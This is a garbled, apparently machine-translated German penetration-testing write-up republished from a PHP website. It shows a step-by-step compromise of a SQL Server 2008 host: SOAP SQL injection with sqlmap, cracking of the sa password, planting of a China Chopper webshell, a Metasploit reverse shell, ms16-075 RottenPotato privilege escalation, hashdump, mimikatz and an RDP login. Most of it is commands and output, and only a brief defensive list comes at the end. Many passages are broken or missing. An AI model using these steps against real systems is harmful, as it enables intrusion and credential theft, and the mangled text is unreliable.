Im eigentlichen erfolgreichen Penetrationsprozess besteht die Ausnutzung von Schwachstellen in der Integration mehrerer Technologien und in der Praxis der neuesten Technologie. Diese Penetration verwendet SQLMAP, um den Injektionspunkt zu bestätigen, erhält die Webshell über SQLMAP und kombiniert MSF, um die Privilegieneskalation durchzuführen von ms16-075 und erhielt schließlich die Systemberechtigungen des Zielservers. Dieser Artikel kann als eine neue Erweiterung der Schwachstellenausnutzung betrachtet werden. Wenn die herkömmliche Nday-Berechtigungsausweitung fehlschlägt, wird ein klassischer Fall einer erfolgreichen Berechtigungsausweitung von ms16-075 mit msf kombiniert.
1.1.1 Nach Schwachstellen durch Soap-Injection suchen
1. Öffnen Sie awvs, um nach Schwachstellen zu suchen, und füllen Sie das Ziel aus URL-Adresse in der WSDL-URL. Beachten Sie, dass es sich um asmx?wsdl handeln muss. Einige verfügen über ASMX-Dateien. Wenn nicht, können Sie diese direkt ausfüllen, z. ***:8081/?wsdl. Abbildung 1: Führen Sie einen Soap-Injection-Schwachstellenscan durch „http-Header anzeigen“, den Inhalt in eine Textdatei kopieren und anfällige Anweisungen verarbeiten, zum Beispiel:
Sie müssen den roten Textteil durch „-1*“ ersetzen.
3. Das vollständige Header-Paket enthält den folgenden Inhalt:
POST /Service1.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: „http://tempuri.org/ZcpdList“
Content - Länge: 716
X-Requested-With: XMLHttpRequest
Referer: http://1**.***.***.***:8081/?wsdl
Host: 1**.* * *.***.***:8081
Verbindung: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, wie Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
< ;urn:ZcpdList>
ory_dhs>
Antwort
1.1.2 Bestätigen 1. Verwenden Sie sqlmap, um zu erkennen, ob eine SQL-Injection-Sicherheitslücke besteht. Fügen Sie den vorherigen Header hinzu. Speichern Sie den Inhalt als 1**.***.***.***.txt und kopieren Sie die Datei nach Geben Sie das Verzeichnis ein, in dem sich das Programm sqlmap.py befindet, und führen Sie den Befehl aus: sqlmap.py -r 1**.***.txt. Bestätigen Sie die von sqlmap angeforderten Informationen:
custom Injektionsmarkierung ('*') in Option '--data' gefunden. Möchten Sie sie verarbeiten? . Möchten Sie es verarbeiten? 2008 R2, die Datenbankversion ist SQL Server 2008 und die Soap-Schwachstelle ist Union Query.Abbildung 2 Es liegt eine Sicherheitslücke durch Soap-Injection vor
2. Überprüfen Sie, ob die Datenbank über DBA-Berechtigungen verfügt. (1) Senden Sie Parameter automatisch zum Testen, wie in Abbildung 3 gezeigt, und führen Sie den Befehl aus: sqlmap.py -r 1 **.** *.***.***.txt --is-dba --batch, Sie müssen y auch zweimal bestätigen, da der Parameter „batch“ verwendet wird, übermittelt sqlmap automatisch den Beurteilungswert.
Abbildung 3 Parameter automatisch zur Beurteilung einreichen
3. Holen Sie sich das Passwort für das SA-Konto
Wie in Abbildung 5 gezeigt, verwenden Sie den Befehl sqlmap.py -r 1**.***.***.***.txt --password --batch, um es direkt abzurufen die Datenbankverbindung Die Passwortwerte, die allen Konten entsprechen:
Abbildung 5 Abrufen des SA-Kontopassworts
4. Den Datenbankpasswort-Hashwert erfolgreich über sqlmap erhalten:
## Ms_policyEventprocessingLogin ## [1]:
Passwort Hash: 0x01001a7b0c5b5b347506dbc67aa8ffa2AD20F852076D8446A838 ## MS_POLICYTSQUISIGIN#N ## [1]:
Passwort 3D413042ee8AF2EEA9026D44C8D4D1C SA [1]:
Password Hash: 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d297028 ändere das Passwort zu SA "0x010 4C8A099C4DE53045D2DE6297E28 " unter www.cmd5.com Führen Sie eine Abfrage durch, wie in Abbildung 6 gezeigt, und das Entschlüsselungsergebnis ist „qaz123WSX“.
Abbildung 6 Entschlüsselter sa-Passwort-Hashwert
1.1.3 Holen Sie sich die Webshell über --os-shell1 und führen Sie den Befehl in sqlmap aus: sqlmap.py -r 1**.*** .***.***.txt --os-shell, bestätigen Sie die Informationen im SQLMap-Ausführungsfenster:
Sie können auch sqlmap.py -r 1**.***.* ausführen ** Der Befehl .***.txt --os-shell --batch muss nicht manuell eingegeben werden.
2. Suchen Sie das Verzeichnis, in dem sich das Webprogramm befindet
(1) Dateien und Verzeichnisse anzeigen
Nach dem Ausführen des Befehls dir c: können Sie das Verzeichnis c und die Dateien anzeigen und weiterhin „dir c:inetpubwwwroot“ anzeigen " wie in Abbildung 7 dargestellt. Da sich kein Webprogramm im Ordner befindet, schließen Sie dieses Verzeichnis aus. Abbildung 7: Dateien und Verzeichnisse anzeigen und verwenden Sie den Befehl dir e:softwareAMS_NoFlow, um anzuzeigen, wie in Abbildung 8 dargestellt.
Abbildung 8 Website-Dateien anzeigen
3. Testen Sie das tatsächliche Verzeichnis der Website
(1) Dateitest erstellen Verwenden Sie wie in Abbildung 9 gezeigt den Echo-Befehl: echo „thisis test“>e :softwareAMS_NoFlowt.txt, generieren Sie eine t.txt-Datei im Stammverzeichnis der Website. Der Inhalt ist dieser Test.
Abbildung 9 Generierte Datei
(2) Website-Zugriffstest
Geben Sie im Browser die Adresse http://1**.***.***.***/1.txt ein Fahren Sie mit dem Test fort. Wie in Abbildung 10 dargestellt, entspricht der erhaltene Inhalt den Erwartungen. Das Verzeichnis ist die tatsächliche physische Adresse der Website. Abbildung 10: Website-Zugriffstest config-Datei in sqlmap Aufgrund von Einstellungsproblemen ist möglicherweise nicht der gesamte Inhalt des Befehlsfensters sichtbar. Allerdings behält sqlmap detaillierte Informationen in seinem Ausgabeverzeichnis bei, wie in Abbildung 11 dargestellt. Wenn Sie die Protokolldatei öffnen, können Sie diese sehen dass das seinem sa-Konto entsprechende Passwort qaz123WSX lautet. Es stimmt mit dem zuvor geknackten sa-Passwort überein. Abbildung 11: Anzeigen des Inhalts der Konfigurationsdatei „web.config“ das Ziel In diesem Fall wird das Ziel mit unabhängigen externen IP- und internen IP-Adressen konfiguriert und andere Befehle können in der OS-Shell ausgeführt werden.
Abbildung 12 IP-Adresse abrufen
6. Webshell-Test abrufen
(1) Shell-Datei generieren
Befehl in OS-Shell ausführen:
echo ^^ > e:softwareAMS_NoFlowcmd.aspx
Wie in Abbildung 13 gezeigt, zeigt das Echo-Ergebnis 1 Es liegen keine weiteren Informationen vor und der Befehl zur Dateigenerierung scheint erfolgreich zu sein.
(2) Webshell abrufen Verwenden Sie das chinesische Chopper-Backdoor-Management-Tool, um einen Datensatz http://1**.***.***.***/cmd.aspx mit einem Satz Backdoor-Passwort: pass zu erstellen, wie gezeigt in Abbildung 14 Es zeigt, dass die Verbindung erfolgreich ist und die Webshell erfolgreich abgerufen wurde. Abbildung 14: Abrufen der Webshell Suggester-Programm Windows-Exploit-Suggester Download-Adresse: https://github.com/GDSSecurity/Windows-Exploit-Suggester/
3 Aktualisieren Sie die Schwachstellenbibliothek und führen Sie einen Schwachstellenvergleich durch. Führen Sie windows-exploit-suggester.py in Python aus - u um die Schwachstellenbibliothek zu aktualisieren und zu vergleichen: windows-exploit-suggester.py --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > wie in Abbildung 15 dargestellt.
Abbildung 15 zum Vergleich der Schwachstellen
4. Überprüfen Sie die Schwachstellensituation. Öffnen Sie die Datei SYD1-0081DSB-day.txt im Verzeichnis C:Python27, wie in Abbildung 16 gezeigt Das Betriebssystem ist die Version Windows 2008 R2 und es gibt mehrere Sicherheitslücken. Die neueste Sicherheitslücke ist ms16-075.
1.1.5 Verwenden Sie msf, um eine Eskalation der Berechtigungen nach ms16-075 durchzuführen.
1. Verwenden Sie msf, um einen Rebound-Trojaner zu generieren.
Führen Sie den folgenden Befehl aus: lhost ist der Rebound-Port. Beachten Sie, dass die IP-Adresse ein unabhängiger Server oder eine externe Netzwerk-Portzuordnung sein muss. Mit anderen Worten, der Rebound-Port muss 4433 sein das generierte Programm.
2. Führen Sie den Listening-Befehl auf dem Listening-Server aus. (1) Starten Sie msf Führen Sie es aus
Laden Sie die Datei 4433.exe auf den Zielserver hoch und führen Sie sie über Chinese Color Knife oder OS-Shell aus.
4. Systeminformationen anzeigen
Abbildung 18 Eskalation der Berechtigungen mit Standard-Meterpreter fehlgeschlagen
6. Verwenden Sie ms16-075, um Berechtigungen zu eskalieren. (1) ms16-075 kann mit exp https://github.com/foxglovesec/ heruntergeladen werden. RottenPotato
(2) Laden Sie die Kartoffeldatei hoch
Laden Sie die Datei Potato.exe über die Webshell hoch oder führen Sie zum Hochladen den folgenden MSF-Befehl aus: upload /root/potato.exe
Wie in Abbildung 19 dargestellt, wurden die Systemberechtigungen erfolgreich eingeholt.
Abbildung 19 Erhalten Sie Systemberechtigungstoken
Wie in Abbildung 20 gezeigt, wurden die Systemberechtigungen erfolgreich erhalten.
(5) Passwort erhalten
Führen Sie den Befehl unter meterpreter aus: Führen Sie den Befehl hashdump aus, wie in Abbildung 21 gezeigt, und erhalten Sie erfolgreich den Server-Passwort-Hash-Wert: Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::
Bild 21 Passwort erhalten
bei In In diesem Beispiel wird „load mimikatz“ immer noch verwendet, um das Klartextkennwort zu erhalten, aber der Erfassungseffekt ist nicht ideal. Die Ausführung der folgenden Befehle: kerberos, Livessp, MSV, SSP, TSPKG, Wdigest kann das Klartextkennwort nicht abrufen Geben Sie den Befehl mimikatz_command ein und geben Sie die mimikatz-Eingabeaufforderung ein.
(6) NTML-Passwort knacken Kopieren Sie den NTML-Passwort-Hashwert a59a64a645487c1581dea603253c7920 zum Knacken von cmd5. Sie können auch zu http://www.objectif-securite.ch/en/ophcrack.php gehen und Die Website https://www.somd5.com/ führt das Knacken von Passwörtern durch. Wie in Abbildung 22 gezeigt, wurde das Passwort erfolgreich geknackt.
Abbildung 22 Ntlm-Hashwert knacken
7. Melden Sie sich über nmap -sS -Pn -A 1**.***.***.*** oder masscan -p 1 am Server an -65535 1**.***.***.*** hat einen Port-Scan durchgeführt und festgestellt, dass der Server Port 3389 geöffnet hat. Melden Sie sich mit mstsc an. Wie in Abbildung 23 dargestellt, haben Sie sich erfolgreich beim Server angemeldet. Abbildung 23: Erfolgreiche Anmeldung am Server ) os- Führen Sie den Befehl unter der Shell aus
ipconfigdir c:/echo "thisis test">e:softwareAMS_NoFlowt.txtecho ^^ > Start und Überwachung
(5) ms16-075 Privilegieneskalationsbefehl
use in cognitolist_tokens – uexecute -cH -f ./ Potato.exelist_tokens -u impersonate_token "NT AUTHORITY\SYSTEM" getuid
(7) mimikatz für die Passworterfassung
(8) Erhalten Sie das Passwort unter der mimikatz-Befehlszeile (nicht getestet)
2
Führen Sie bei dieser Penetration einen Seifeninjektionstest über SQLMAP durch, beurteilen Sie, ob der SQL-Injektionspunkt über SQLMAP verfügbar ist, und rufen Sie dann die Webshell erfolgreich über OS-Shell ab. Nachdem ich die Webshell erhalten hatte, versuchte ich, die reguläre Nday-Privilegieneskalationsmethode zu verwenden, aber das Ergebnis schlug fehl. Dann habe ich msf verwendet, um mit ms16-075 zusammenzuarbeiten, um die Privilegien zu eskalieren. Windows-Exploit-Suggester ist weiterhin in der Lage, lokale Schwachstellen zu beurteilen und zu testen. Durch seine Prüfung werden die neuesten Schwachstellen zur Eskalation von Berechtigungen genutzt, und die grundlegende Trefferquote liegt bei 99 %. 3. Sicherheitsabwehr
Nach dem erfolgreichen Eindringen in den Server wurde keine Sicherheitsschutzsoftware auf dem Server gefunden. Aufgrund der Erfahrung empfiehlt der Autor die folgenden Sicherheitsabwehrmaßnahmen:
(1) Filtern Sie Soap-Parameter, um Gefahren herauszufiltern Parameter, die zur SQL-Injection führen.
(2) Die MSSQL-Datenbank verwendet Benutzer mit geringen Berechtigungen für Datenbankverbindungen.
(3) Der Server wird regelmäßig gepatcht und aktualisiert.
(4) Installieren Sie Antivirensoftware, WAF und Hardware-Firewall, um die Kosten und die Schwierigkeit eines Angriffs zu erhöhen
Das obige ist der detaillierte Inhalt vonSo erweitern Sie Berechtigungen, indem Sie Soap in einen SQL2008-Server einschleusen und es mit MSF kombinieren. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!